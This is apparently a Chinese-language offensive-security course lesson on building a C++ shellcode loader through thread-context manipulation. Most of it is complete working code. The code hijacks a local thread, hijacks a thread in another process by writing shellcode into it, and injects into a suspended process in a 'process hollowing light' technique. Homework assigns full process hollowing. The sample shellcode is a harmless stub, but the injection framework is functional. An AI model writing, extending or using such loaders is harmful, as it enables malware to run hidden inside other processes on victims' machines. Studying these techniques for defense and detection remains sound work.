shellcode loader
9、C++线程上下文实现shellcode loader
1、课程目标
- 理解线程上下文(CONTEXT)结构
- 掌握GetThreadContext/SetThreadContext的使用
- 实现通过修改线程上下文执行ShellCode
- 了解线程劫持技术
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| CONTEXT | - | 线程上下文结构,包含寄存器状态 |
| EIP/RIP | Instruction Pointer | 指令指针寄存器 |
| GetThreadContext | - | 获取线程上下文 |
| SetThreadContext | - | 设置线程上下文 |
| Thread Hijacking | 线程劫持 | 修改线程执行流程 |
3、代码实现
// context_loader.cpp
// 线程上下文方式执行ShellCode
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90,
0x31, 0xC0, 0x40, 0xC3
};
// 方法1: 劫持自身新建线程
DWORD WINAPI DummyThread(LPVOID param) {
// 无限循环,等待被劫持
while (TRUE) {
Sleep(100);
}
return 0;
}
void Method1_HijackNewThread() {
printf("[*] Method 1: Hijack New Thread\n");
// 分配可执行内存
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
// 创建线程
HANDLE hThread = CreateThread(NULL, 0, DummyThread, NULL, 0, NULL);
if (!hThread) {
VirtualFree(mem, 0, MEM_RELEASE);
return;
}
// 等待线程启动
Sleep(50);
// 挂起线程
SuspendThread(hThread);
printf("[+] Thread suspended\n");
// 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx)) {
printf("[-] GetThreadContext failed\n");
ResumeThread(hThread);
TerminateThread(hThread, 0);
CloseHandle(hThread);
return;
}
#ifdef _WIN64
printf("[+] Original RIP: 0x%llX\n", ctx.Rip);
ctx.Rip = (DWORD64)mem;
printf("[+] New RIP: 0x%llX\n", ctx.Rip);
#else
printf("[+] Original EIP: 0x%lX\n", ctx.Eip);
ctx.Eip = (DWORD)mem;
printf("[+] New EIP: 0x%lX\n", ctx.Eip);
#endif
// 设置新上下文
if (!SetThreadContext(hThread, &ctx)) {
printf("[-] SetThreadContext failed\n");
ResumeThread(hThread);
TerminateThread(hThread, 0);
CloseHandle(hThread);
return;
}
printf("[+] Context modified\n");
// 恢复执行
ResumeThread(hThread);
printf("[+] Thread resumed\n");
// 等待执行完成
WaitForSingleObject(hThread, 1000);
TerminateThread(hThread, 0);
CloseHandle(hThread);
VirtualFree(mem, 0, MEM_RELEASE);
}
// 方法2: 远程进程线程劫持
BOOL HijackRemoteThread(DWORD pid, DWORD tid, const void* code, SIZE_T size) {
printf("[*] Method 2: Remote Thread Hijack (PID=%lu, TID=%lu)\n", pid, tid);
// 打开进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE, pid);
if (!hProcess) {
printf("[-] OpenProcess failed\n");
return FALSE;
}
// 打开线程
HANDLE hThread = OpenThread(
THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE, tid);
if (!hThread) {
printf("[-] OpenThread failed\n");
CloseHandle(hProcess);
return FALSE;
}
// 分配远程内存
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
CloseHandle(hThread);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Remote memory: %p\n", remoteMem);
// 写入ShellCode
SIZE_T written;
WriteProcessMemory(hProcess, remoteMem, code, size, &written);
// 挂起线程
SuspendThread(hThread);
// 获取上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
#ifdef _WIN64
printf("[+] Original RIP: 0x%llX\n", ctx.Rip);
ctx.Rip = (DWORD64)remoteMem;
#else
printf("[+] Original EIP: 0x%lX\n", ctx.Eip);
ctx.Eip = (DWORD)remoteMem;
#endif
// 设置上下文
SetThreadContext(hThread, &ctx);
// 恢复
ResumeThread(hThread);
printf("[+] Thread hijacked and resumed\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
// 方法3: 使用挂起创建的进程
BOOL ProcessHollowingLight(const wchar_t* targetExe) {
printf("[*] Method 3: Process Hollowing Light\n");
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 挂起创建
if (!CreateProcessW(targetExe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed\n");
return FALSE;
}
printf("[+] Process created: %lu\n", pi.dwProcessId);
// 分配内存
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T written;
WriteProcessMemory(pi.hProcess, remoteMem, shellcode, sizeof(shellcode), &written);
// 修改主线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
#ifdef _WIN64
ctx.Rip = (DWORD64)remoteMem;
#else
ctx.Eax = (DWORD)remoteMem; // 或直接修改EIP
#endif
SetThreadContext(pi.hThread, &ctx);
// 恢复
ResumeThread(pi.hThread);
printf("[+] Process resumed with modified context\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main() {
printf("========================================\n");
printf(" Thread Context Loader \n");
printf("========================================\n\n");
Method1_HijackNewThread();
return 0;
}
4、课后作业
4.1、作业1:实现完整的进程镂空
实现完整的Process Hollowing技术。
4.2、作业2:保存和恢复原始执行流
在ShellCode执行完后,恢复原始的执行流程。